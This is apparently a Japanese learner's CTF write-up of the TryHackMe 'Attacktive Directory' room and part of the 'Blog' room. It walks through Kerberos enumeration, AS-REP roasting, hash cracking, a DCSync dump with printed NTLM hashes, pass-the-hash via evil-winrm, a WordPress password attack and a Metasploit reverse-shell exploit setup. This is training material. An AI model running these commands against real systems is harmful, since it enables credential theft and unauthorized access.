  19900 | Kerberos 5, etype 18, Pre-Auth                             | Network Protocol
  28900 | Kerberos 5, etype 18, DB                                   | Network Protocol
   7500 | Kerberos 5, etype 23, AS-REQ Pre-Auth                      | Network Protocol
  13100 | Kerberos 5, etype 23, TGS-REP                              | Network Protocol
  18200 | Kerberos 5, etype 23, AS-REP                               | Network Protocol

AS-REPは18200だとわかる。
ネットでhashcatの番号も調べられるとのこと。
passwordlist.txtを用いてハッシュからパスワードを特定する。
hashcat -m 18200 hash.txt passwordlist.txt
* Device #1: Not enough allocatable device memory for this attack.
メモリが足りないというエラーが出て終わった。
まじかよと思ったらちゃんと本に対策が書いてあった。よかった。
management2005
ちゃんと実行でき、パスワードをハッシュから取得することができた。
これでAS-REP Roasting Attackの成功!

次に取得した情報を用いてファイルサーバーを見てみる。
ユーザー名:svc-admin
パスワード:management2005
smbclient -L \\\\spookysec.local -U svc-admin
smbclient -L \\\\10.10.95.29 -U svc-admin
do_connect: Connection to spookysec.local failed (Error NT_STATUS_IO_TIMEOUT)
エラーが出て進めない。
てか今回nmapでsamba出てなくない?
本だとsvc-adminでsambaにログインするとbackupのユーザーのパスワードがわかるという流れであった。
backupの方も同じようにAS-REP Attackできるか試してみる。
./GetNPUsers.py spookysec.local/backup
[-] [Errno 111] Connection refused
無理だった。
Roomの手順通りに進めてみようかな。

## Task1
THMの使い方について

## Task2
Impacket、Bloodhound, neo4jのインストールについて
impacketはkaliに元々入っていた。
bloodhoundとneo4jをインストール
apt install bloodhound neo4j
Error: ロックファイル /var/lib/dpkg/lock-frontend をオープンできません - open (13: 許可がありません)
Error: Unable to acquire the dpkg frontend lock (/var/lib/dpkg/lock-frontend), are you root?
sudoでやり直す。
sudo apt install bloodhound neo4j
できた。

## Task3
nmapを使う。すでにやった。
nmap -sV -Pn -oN nmap.txt -v 10.10.23.183
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-04-27 22:56:52Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: Host: ATTACKTIVEDIREC; OS: Windows; CPE: cpe:/o:microsoft:windows

What tool will allow us to enumerate port 139/445?
わからん。ヒントを見るとenum4linuxを使えと書いてあった。というかこれが答えだった。
What is the NetBIOS-Domain Name of the machine?
本ではドメイン名はnmap2回目でポートを絞ってAオプションを使って取得していた。
今回は流れ通りenum4linuxを使ってみる。
enum4linux 10.10.185.83
使い方が違うらしい。よくわからんから本通りにnmapで。
nmap -p 88,135,139,3389 -A -sV -Pn -oN nmap.txt -v 10.10.23.183
PORT     STATE SERVICE       VERSION
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-04-27 23:08:53Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
3389/tcp open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2025-04-27T23:09:14+00:00; -4s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: THM-AD
|   NetBIOS_Domain_Name: THM-AD
|   NetBIOS_Computer_Name: ATTACKTIVEDIREC
|   DNS_Domain_Name: spookysec.local
|   DNS_Computer_Name: AttacktiveDirectory.spookysec.local
|   Product_Version: 10.0.17763
|_  System_Time: 2025-04-27T23:09:02+00:00
| ssl-cert: Subject: commonName=AttacktiveDirectory.spookysec.local
| Issuer: commonName=AttacktiveDirectory.spookysec.local
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-04-26T22:41:53
| Not valid after:  2025-10-26T22:41:53
| MD5:   740e:148d:bd57:80d7:ad23:0e32:842a:4eca
|_SHA-1: f502:6b5d:fd66:9380:60b2:c4a3:d257:e12b:a5c3:173d
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2016 (96%), Microsoft Windows Server 2019 (96%), Microsoft Windows 10 (93%), Microsoft Windows 10 1709 - 21H2 (93%), Microsoft Windows 10 21H1 (93%), Microsoft Windows Server 2012 (93%), Microsoft Windows Server 2022 (93%), Microsoft Windows 10 1903 (92%), Windows Server 2019 (92%), Microsoft Windows Vista SP1 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 4 hops
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

NetBIOS_Domain_Name: THM-ADだとわかる。

What invalid TLD do people commonly use for their Active Directory Domain?
わからん。TLDってトップレベルドメインのことか。
ADに使う無効なTLD?意味わからん。
Spoiler: The full AD domain is spookysec.local
ヒントを見るとADドメインがspookysec.localだと教えてくれている。それで無効なTLDはなんなの?
詰んだ。早すぎる。本の丁寧な誘導がないと全然解けないことがよくわかった。
仕方ないのでwriteupを探して読んでみる。

【TryHackMe】Attacktive DirectoryルームのWriteUP やわらかセキュリティ
https://yawaraka-sec.com/attacktive-directory-thm/

このサイトではAオプションをつけることでenum4linuxでドメイン名を取得していた。
enum4linux -A 10.10.185.83
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Wed Apr 30 10:12:20 2025

 =========================================( Target Information )=========================================
                                                                                                                    
Target ........... 10.10.185.83                                                                                     
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 ============================( Enumerating Workgroup/Domain on 10.10.185.83 )============================
                                                                                                                    
                                                                                                                    
[E] Can't find workgroup/domain                                                                                     
                                                                                                                    
                                                                                                                    

 ===================================( Session Check on 10.10.185.83 )===================================
                                                                                                                    
                                                                                                                    
[E] Server doesn't allow session using username '', password ''.  Aborting remainder of tests. 

自分が同じようにやっても出てこなかった。意味わからん。なぜなの?
まあドメイン名はnmapで取得できているからいいや。
次へ進もう。
TLDはドメイン名の最後につけられるやつだった。あのヒントからspookysec.localの最後は.localだ。
.localは無効なの?調べると、.localはローカルネットワークで使われているため、インターネットで使う場合はローカルネットワークの名前と競合してしまうからよくないとのこと。
やっとtask3をクリアできた。

## Task4
ケルベロスを総当たり攻撃するのにKerbruteを使おう。
What command within Kerbrute will allow us to enumerate valid usernames?
これは本ですでにやった。
./kerbrute_linux_amd64 userenum -d spookysec.local --dc spookysec.local userlist.txt
一応本を見ると ./kerbrute -h でヘルプを見ろとのこと。
./kerbrute_linux_amd64 -h
  userenum      Enumerate valid domain usernames via Kerberos
ちゃんと書いてあった。
What notable account is discovered? (These should jump out at you)
What is the other notable account is discovered? (These should jump out at you)
./kerbrute_linux_amd64 userenum -d spookysec.local --dc spookysec.local userlist.txt
2025/04/28 21:20:31 >  [+] VALID USERNAME:       james@spookysec.local
2025/04/28 21:20:36 >  [+] VALID USERNAME:       svc-admin@spookysec.local
2025/04/28 21:20:41 >  [+] VALID USERNAME:       James@spookysec.local
2025/04/28 21:20:43 >  [+] VALID USERNAME:       robin@spookysec.local
2025/04/28 21:21:06 >  [+] VALID USERNAME:       darkstar@spookysec.local
2025/04/28 21:21:19 >  [+] VALID USERNAME:       administrator@spookysec.local
2025/04/28 21:21:47 >  [+] VALID USERNAME:       backup@spookysec.local
2025/04/28 21:22:00 >  [+] VALID USERNAME:       paradox@spookysec.local
2025/04/28 21:23:25 >  [+] VALID USERNAME:       JAMES@spookysec.local
2025/04/28 21:23:53 >  [+] VALID USERNAME:       Robin@spookysec.local
2025/04/28 21:26:45 >  [+] VALID USERNAME:       Administrator@spookysec.local
ここにnotableなアカウントがあるということか。darkstarとかかっこよくて結構目を引かれる。
本で注目していたあの2つのアカウントなんだろう。
全然notableじゃないんだけど。
svc-admin
backup
やわらかセキュリティのwriteupでもそんなに飛び抜けてるかなぁと書かれていた。
他のwriteupも見ると文字数でそれっぽいやつを入力して当てたとのこと。

## Task5
ASREPRostingをImpacketでしよう。
We have two user accounts that we could potentially query a ticket from. Which user account can you query a ticket from with no password?
これはsvc-adminの方だった。backupの方はエラーが出た。
./GetNPUsers.py spookysec.local/svc-admin
[*] Cannot authenticate svc-admin, getting its TGT
/home/kali/7DaysHacking/Day6/./GetNPUsers.py:165: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
$krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL:c1e227e35c391d9e6e25811585af1db4$f258b037043c6491b4f4a6f98a8b542fe8b11a89ce77f4ba041f866b7539929fac45aa6477bbe45db47fbba784f2d00e36838533af0133348b21693e1915268633fb7415856a9d792edf98dfe3fa8bdd48165e23855e6fcaf0746ea44931e8e221759a0d4e315c75a277c6a888b6c396b706b3d99293d5dc4e77666400dd396dfb54dc8663730464fcadbfa2354656537932bd67ef5b017eee6baf96fd5ce5b76d7089080f49f34c4a1bd3878560ac31b520248dc51d72fe653214958dd49eff41810eee8a72543691c7094f9a3c57bcc8316c0e4967a105f717266eebbf208cd2a34b5b8adc39595411aa23a8fdaa4b8888

Looking at the Hashcat Examples Wiki page, what type of Kerberos hash did we retrieve from the KDC? (Specify the full name)
KDCってなんだ?と思ったら本に書いてあった。ASとTGSの機能を含むチケット発行サービスらしい。
本ではhashcat -h | grep Kerberos でヘルプからkerberosの行を抽出していたが、一応hashcatのサイトから探してみた。
Kerberos 5 AS-REP etype 23

What mode is the hash?
hashcatの最初のページからだとモード番号がわからないのな。
exampleページから探して見つかった。
18200

Now crack the hash with the modified password list provided, what is the user accounts password?
これも本の通りやっている。
hashcat -m 18200 hash.txt passwordlist.txt
management2005

## Task6
What utility can we use to map remote SMB shares?
smbclientでしょ。

Which option will list shares?
本にあったhashcatのときのようにヘルプを検索してみる。
smbclient --help |grep list
-L, --list=HOST                              Get a list of shares available

How many remote shares is the server listing?
smbclient -L  10.10.177.92
do_connect: Connection to 10.10.177.92 failed (Error NT_STATUS_IO_TIMEOUT)
本と同じところで躓いた。
もう一回nmapやっとく?
あ、nmapやったら気づいた。kalilinux再起動してVPN繋げてなかったことに。。
本通り入力し直す。
smbclient -L \\\\10.10.177.92 -U svc-admin
Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        backup          Disk      
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        SYSVOL          Disk      Logon server share 

ちゃんと出てきた!!VPNすっかり忘れてたぁああ。
リストは6個
ここから本に戻って進めていく。backupを見てみると
smbclient  -L \\\\10.10.177.92\\backup -U svc-admin
Lつけっぱだった。
smbclient  \\\\10.10.177.92\\backup -U svc-admin
lsでbackup_credentials.txt をみつけ、
get backup_credentials.txtでダウンロード。
exitででて、catでみると
YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw
base64っぽいことに気づいてデコードしてみる
cat backup_credentials.txt | base64 -d
backup@spookysec.local:backup2517860   
base64デコードってこんな簡単にコマンドでできたのね。
backupのパスワードが取得できた。
今回は中途半端にTaskを放置したくないため、本と同時にルームのTaskも進めていく。
Task6の途中から
There is one particular share that we have access to that contains a text file. Which share is it?
backup
What is the content of the file?
YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw
Decoding the contents of the file, what is the full contents?
backup@spookysec.local:backup2517860   

## Task7
backupアカウントに対してImpacketを使ってすべてのパスワードハッシュを取得しよう。
ルームの説明はこんだけ。
本に戻るとより詳しい説明がある。
backupユーザーがドメインをバックアップできることを利用した攻撃のことをDCSync攻撃という。
ActiveDirectoryにおいてDomainControllerはユーザーの認証をする重要な役割のため、バックアップの機能が備わっている。
backupユーザーになりすましてバックアップのデータからパスワードハッシュなどを取得することができる。
パスワードのハッシュはDomainControllerのNTDS.DITファイルにNTLMハッシュとして保存されているらしい。
このNTLMハッシュを取得するツールとしてimpacketのsecretsdump.pyを使う。
cp /usr/share/doc/python3-impacket/examples/secretsdump.py .
./secretsdump.py -just-dc-ntlm backup@spookysec.local -outputfile spookysec
[-] RemoteOperations failed: [Errno Connection error (spookysec.local:445)] timed out

時間切れでホスト名に紐づいているIPアドレスが変わったからエラーを吐いた。
sudo nano /etc/hosts
10.10.177.92 spookysec.local
やり直す。
./secretsdump.py -just-dc-ntlm backup@spookysec.local -outputfile spookysec
backup2517860   
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:0e2eb8158c27bed09861033026be4c21:::
spookysec.local\skidy:1103:aad3b435b51404eeaad3b435b51404ee:5fe9353d4b96cc410b62cb7e11c57ba4:::
spookysec.local\breakerofthings:1104:aad3b435b51404eeaad3b435b51404ee:5fe9353d4b96cc410b62cb7e11c57ba4:::
spookysec.local\james:1105:aad3b435b51404eeaad3b435b51404ee:9448bf6aba63d154eb0c665071067b6b:::
spookysec.local\optional:1106:aad3b435b51404eeaad3b435b51404ee:436007d1c1550eaf41803f1272656c9e:::
spookysec.local\sherlocksec:1107:aad3b435b51404eeaad3b435b51404ee:b09d48380e99e9965416f0d7096b703b:::
spookysec.local\darkstar:1108:aad3b435b51404eeaad3b435b51404ee:cfd70af882d53d758a1612af78a646b7:::
spookysec.local\Ori:1109:aad3b435b51404eeaad3b435b51404ee:c930ba49f999305d9c00a8745433d62a:::
spookysec.local\robin:1110:aad3b435b51404eeaad3b435b51404ee:642744a46b9d4f6dff8942d23626e5bb:::
spookysec.local\paradox:1111:aad3b435b51404eeaad3b435b51404ee:048052193cfa6ea46b5a302319c0cff2:::
spookysec.local\Muirland:1112:aad3b435b51404eeaad3b435b51404ee:3db8b1419ae75a418b3aa12b8c0fb705:::
spookysec.local\horshark:1113:aad3b435b51404eeaad3b435b51404ee:41317db6bd1fb8c21c2fd2b675238664:::
spookysec.local\svc-admin:1114:aad3b435b51404eeaad3b435b51404ee:fc0f1e5359e372aa1f69147375ba6809:::
spookysec.local\backup:1118:aad3b435b51404eeaad3b435b51404ee:19741bde08e135f4b40f1ca9aab45538:::
spookysec.local\a-spooks:1601:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc:::
ATTACKTIVEDIREC$:1000:aad3b435b51404eeaad3b435b51404ee:2e9a6e7f2717e45c9f986aaa4b568d4b:::
[*] Cleaning up... 
これでAdminのパスのハッシュがわかった。
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc:::
これは110ページでも出てたという。すっかり忘れていた。というかNTLMハッシュというものとして認識していなかった。
ユーザー名:ユーザーID:LMハッシュ:NTLMハッシュ:::
だから左からコロンで分けて4つ目がNTLMハッシュ。

hashcatでまたハッシュからパスワードを導出するのかと思ったら今度は違うらしい。
今度はPass the Hash攻撃というパスワードハッシュをそのまま用いて認証するNTLM認証を利用した方法を取るらしい。
このNTLM認証するのにEvil-WinRMというツールを使う。
evil-winrm -i spooky.local -u Administrator -H 0e0363213e37b94221497260b0bcb4fc
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline                                                                                                          
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion                                                                                             
Info: Establishing connection to remote endpoint
Error: Check your /etc/hosts file to ensure you can resolve spooky.local
Error: Exiting with code 1
エラーが出た。evil-winrmインストールし直した方がいいのか?hostファイルはちゃんと更新してある。
sudo apt install evil-winrm
evil-winrm はすでに最新バージョン (3.7-0kali1) です。       
やっぱりインストール済みだった。
あ、secが抜けてspookysecじゃなくてspookyになってた。
evil-winrm -i spookysec.local -u Administrator -H 0e0363213e37b94221497260b0bcb4fc
なんかエラー出たけどやり直したら繋がった。
desktopにあるらしいからそこを見てみるとroot.txtがあり、
cat root.txt
TryHackMe{4ctiveD1rectoryM4st3r}

やっとクリアできた!!!
設問にも答えておく。
Task7から
What method allowed us to dump NTDS.DIT?
Pass the Hashじゃないみたい。ヒントを見るとsecretsdumpのoutputを見ろとのこと。
[*] Using the DRSUAPI method to get NTDS.DIT secrets
 DRSUAPIか。って何?
 ADのデータを複製(同期)するためのAPIとのこと。
 今回はbackupのアカウントを用いてDRSUAPIでバックアップデータからAdminのパスワードハッシュを取得したということ。
 What is the Administrators NTLM hash?
 0e0363213e37b94221497260b0bcb4fc
What method of attack could allow us to authenticate as the user without the password?
pass the hash
Using a tool called Evil-WinRM what option will allow us to use a hash?
-H

## Task8
各ユーザーのデスクトップにフラグがあるという。
svc-admin
backup
Administrator
TryHackMe{4ctiveD1rectoryM4st3r}

他のも同じように求める。
spookysec.local\svc-admin:1114:aad3b435b51404eeaad3b435b51404ee:fc0f1e5359e372aa1f69147375ba6809:::
spookysec.local\backup:1118:aad3b435b51404eeaad3b435b51404ee:19741bde08e135f4b40f1ca9aab45538:::
evil-winrm -i spookysec.local -u svc-admin -H fc0f1e5359e372aa1f69147375ba6809
evil-winrm -i spookysec.local -u backup -H 19741bde08e135f4b40f1ca9aab45538

Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError
Error: Exiting with code 1
どちらもエラーが出て繋げなかった。
ちゃんと理解できていなかったみたい。
各ユーザーのPCがあるんじゃなくて、AdministratorのPCに他のユーザーも全てあるということ?
全体像がちゃんと理解できていなかった。
とりあえずadminでアクセスして、各ユーザーのフォルダを見ればOK
backup
TryHackMe{B4ckM3UpSc0tty!}
svc-admin
TryHackMe{K3rb3r0s_Pr3_4uth}

これで6日目完了だ!!
まだまだ本の誘導なしでは設問ありのTHMのルームを一人でクリアできそうもないや。
新しいツールとその使い方を自分で調べられるようにならないと。
でもまあまだ6日目だしいいっしょ。

Day7 Blog room

# Day7 Blog room
誘導のないCTF形式のルームを解いていく。
今回の目的はブログを立ち上げたビリーのPCにあるフラグを取得すること。
まずはBlogサイトをホストに登録しないとAWSがちゃんと動かないということで登録する。
sudo nano /etc/hosts
10.10.224.47 blog.thm
これ時間切れになったらまた登録し直さないといけないやつだ。
http://blog.thm/にブラウザからアクセスする。
ブログが表示されることが確認できた。

まずはnmap
nmap -sV -Pn -oN nmap.txt -v 10.10.224.47
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http        Apache httpd 2.4.29 ((Ubuntu))
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Service Info: Host: BLOG; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Aオプションがないとwordpressについての情報が得られなかった。
nmap -A 10.10.224.47
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 57:8a:da:90:ba:ed:3a:47:0c:05:a3:f7:a8:0a:8d:78 (RSA)
|   256 c2:64:ef:ab:b1:9a:1c:87:58:7c:4b:d5:0f:20:46:26 (ECDSA)
|_  256 5a:f2:62:92:11:8e:ad:8a:9b:23:82:2d:ad:53:bc:16 (ED25519)
80/tcp  open  http        Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: WordPress 5.0
| http-robots.txt: 1 disallowed entry 
|_/wp-admin/
|_http-title: Billy Joel&#039;s IT Blog &#8211; The IT blog
|_http-server-header: Apache/2.4.29 (Ubuntu)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Device type: general purpose
Running: Linux 4.X
OS CPE: cpe:/o:linux:linux_kernel:4.15
OS details: Linux 4.15
Network Distance: 4 hops
Service Info: Host: BLOG; OS: Linux; CPE: cpe:/o:linux:linux_kernel

wordpress5.0であることがわかった。
ssh,smb,wordpressの3つの入り口がある。
まずsmb
smbclient -L //10.10.224.47
        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        BillySMB        Disk      Billy's local SMB Share
        IPC$            IPC       IPC Service (blog server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.

        Server               Comment
        ---------            -------

        Workgroup            Master
        ---------            -------
        WORKGROUP            BLOG

BillySMBに接続。
smbclient //10.10.224.47/BillySMB
smb: \> ls
  .                                   D        0  Wed May 27 03:17:05 2020
  ..                                  D        0  Wed May 27 02:58:23 2020
  Alice-White-Rabbit.jpg              N    33378  Wed May 27 03:17:01 2020
  tswift.mp4                          N  1236733  Wed May 27 03:13:45 2020
  check-this.png                      N     3082  Wed May 27 03:13:43 2020
getで全部ダウンロード
動画はテイラースウィフトの動画。QRコードはBillyJoelのYouTubeの動画へ繋がった。
画像や動画に他のデータが埋め込まれているステガノグラフィの可能性があるためsteghideというツールで解析
steghide extract -sf  Alice-White-Rabbit.jpg
wrote extracted data to "rabbit_hole.txt".
steghide extract -sf  tswift.mp4
steghide: the file format of the file "tswift.mp4" is not supported.
steghide extract -sf check-this.png
steghide: the file format of the file "check-this.png" is not supported.

Alice-White-Rabbit.jpgに入っていたrabbit_hole.txtにはYou've found yourself in a rabbit hole, friend.と記載
rabbit holeは不思議の国のアリスでアリスが白ウサギを追いかけて落ちた穴が由来
間違った方向に進んでいることを示しているらしい

次にwordpressの方を進める。
| http-robots.txt: 1 disallowed entry 
|_/wp-admin/
nmapの情報からwp-adminという入り口があることがわかる。
http://blog.thm/wp-admin
アクセスするとログイン画面が現れる。
ここからログインできればビリーのPCに侵入する手がかりが得られるかもしれない。
WPにログインする情報を集める手段としてwpscanというツールがある。
wpscanを用いてユーザー名を調査する。

wpscan --url http://blog.thm --enumerate u
[i] User(s) Identified:

[+] kwheel
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
 |   - http://blog.thm/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] bjoel
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
 |   - http://blog.thm/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] Karen Wheeler
 | Found By: Rss Generator (Passive Detection)
 | Confirmed By: Rss Generator (Aggressive Detection)

[+] Billy Joel
 | Found By: Rss Generator (Passive Detection)
 | Confirmed By: Rss Generator (Aggressive Detection)

4人のユーザー名が見つかったように見える。
これらのユーザー名はwpscanによってブログの過去の投稿から名前を推測したり、ログインエラーメッセージやRSSフィードなど様々な方法で取得されている。
RSSはウェブサイトをxml形式で配信する技術のこと。
よく見ると4人ではなく二人のフルネームとユーザー名みたいだとわかる。
今回はwp json apiで見つかった方がWPのログイン情報に使われているユーザー名だとわかる?
次にパスワードを辞書攻撃していく。
wpscanで辞書攻撃もできるらしい。
wpscan --url http://blog.thm -U kwheel,bjoel -P /usr/share/wordlists/rockyou.txt --password-attack wp-login -t 4
めちゃがんばってパスワードを総当りしている途中経過が表示される。
今回はこれでパスワードがわかるって知っているからいいものの、これでパスワードがわかるかわからない状態だと焦るな。
ターミナルを別で開いてパスワードを辞書攻撃しながら他の方法はないか考えないといけなさそう。
[SUCCESS] - kwheel / cutiepie1
kwheelの方はパスワードがわかってもbjoelの方はわからないらしい。
これでログインしてみる。管理画面に入れた。
ユーザーの権限は5つに分かれているらしい。
administrator, editor, author, contributor, subscriber
本によるとkwheelはauthorらしい。ググると判断材料がわかるらしい。
しかし結局はこのアカウントは使わないっぽい??
権限がadministratorだったらこのままPCまでアクセスできたのだろうか。

アプローチを変え、wordpressの脆弱性を探す。
PCに侵入しやすい脆弱性としてRemote Code Excution, RCEがある。
そして今回のnmapの結果からwordpressのバージョンは5.0だとわかっている。
80/tcp  open  http        Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: WordPress 5.0
そこで「wordpress 5.0 RCE 脆弱性」と検索してみる。
すると検索結果からCVE-2019-8942、CVE-2019-8943の2つの脆弱性が見つかる。
記事を読むとauthor以上の権限を持てればこの脆弱性が使えるとのこと。
ここで権限が生きてくるのか!
最後までさらっと読んだはずなのに見落としていた。
やっぱり権限の識別が重要なので、自分でちゃんと調べてみる。
「wordpress 権限 確認」で検索すると出てきた。
サイドバーにユーザー一覧がないので管理者じゃない。
投稿(Posts)があるのでsubscribe以上
mediaもあるのでcontributor以上
外観がないためauthorだとわかる。
権限が重要なのはわかっていたが、さっきはなんで権限を調べる必要があるんだとスルーしてしまった。
脆弱性を使う上で権限の種類の判定が必要になるからだった。

この脆弱性をmetasploitで実行していく。
ちゃんと読んでいなかったが、2つの脆弱性両方とも使うみたい。
CVE-2019-8942でwordpress内のファイルに紐づくメタデータを書き換え、CVE-2019-8943でその書き換えた文字列でファイルを保存してwordpressで読み込ませて実行できるらしい。
まずはmetasploitを使うためのコンソールを起動する。
msfconsole
脆弱性を検索
search CVE-2019-8942
   #  Name                            Disclosure Date  Rank       Check  Description
   -  ----                            ---------------  ----       -----  -----------
   0  exploit/multi/http/wp_crop_rce  2019-02-19       excellent  Yes    WordPress Crop-image Shell Upload
search CVE-2019-8943
   #  Name                            Disclosure Date  Rank       Check  Description
   -  ----                            ---------------  ----       -----  -----------
   0  exploit/multi/http/wp_crop_rce  2019-02-19       excellent  Yes    WordPress Crop-image Shell Upload

ちゃんと両方ともあった。てか同じだった。
これ検索結果としてCVEは表示されないのか。だから中身を見てちゃんとCVE-2019-8942用のコードか確認したのか。
中身見れるらしいがなんにもわからん。
less /usr/share/metasploit-framework/modules/exploits/multi/http/wp_crop_rce.rb
中身を確認したのには理由があった。
今回はmetasploitに脆弱性が存在したが、すべての脆弱性を実行できるコードが含まれているわけではない。
そのためない場合はexploitできるコードを自分で用意しないといけない。
自分でかけるならいいがそれは非常に困難であり時間もかかる。
そんなときに役立つのがexploit databaseである。
このサイトにはexploitするコードがアップロードされている。
検索バーにCVEのCVEの部分を除いた2019-8942で検索するとヒットした。
WordPress Core 5.0.0 - Crop-image Shell Upload (Metasploit)
このコードはCVE-2019-8942とCVE-2019-8943をexploitできるコードであり、中身を見るとmetasploitにあるさっき確認したコードと全く同じであった。
だからmetasploitで用意されていない場合は自分で探せるようになれという説明であった。

use 0
show options
   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD                    yes       The WordPress password to authenticate with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit
                                         /basics/using-metasploit.html
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path to the wordpress application
   THEME_DIR                   no        The WordPress theme dir name (disable theme auto-detection if provided)
   USERNAME                    yes       The WordPress username to authenticate with
   VHOST                       no        HTTP server virtual host

Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.2.15        yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

yesの項目をsetで設定していく
set PASSWORD cutiepie1
set RHOSTS blog.thm
set USERNAME kwheel
set LHOST 10.2.46.226

show optionsで設定できたか確認
気合を入れてexploit!!!!!!
msf6 exploit(multi/http/wp_crop_rce) > exploit
[*] Started reverse TCP handler on 10.2.46.226:4444 
[-] Exploit aborted due to failure: not-found: The target does not appear to be using WordPress
[*] Exploit completed, but no session was created.
動かないっ!!!
VPNよし。hostsよし。option確認
msf6 exploit(multi/http/wp_crop_rce) > show options

Module options (exploit/multi/http/wp_crop_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   cutiepie1        yes       The WordPress password to authenticate with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     blog.thm         yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit
                                         /basics/using-metasploit.html
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path to the wordpress application
   THEME_DIR                   no        The WordPress theme dir name (disable theme auto-detection if provided)
   USERNAME   kwheel           yes       The WordPress username to authenticate with
   VHOST                       no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.2.46.226      yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

optionも問題なさそう。
エラーはExploit aborted due to failure: not-found: The target does not appear to be using WordPress
ターゲットが見つからない。なんでぇえええええええ。
詰まった。
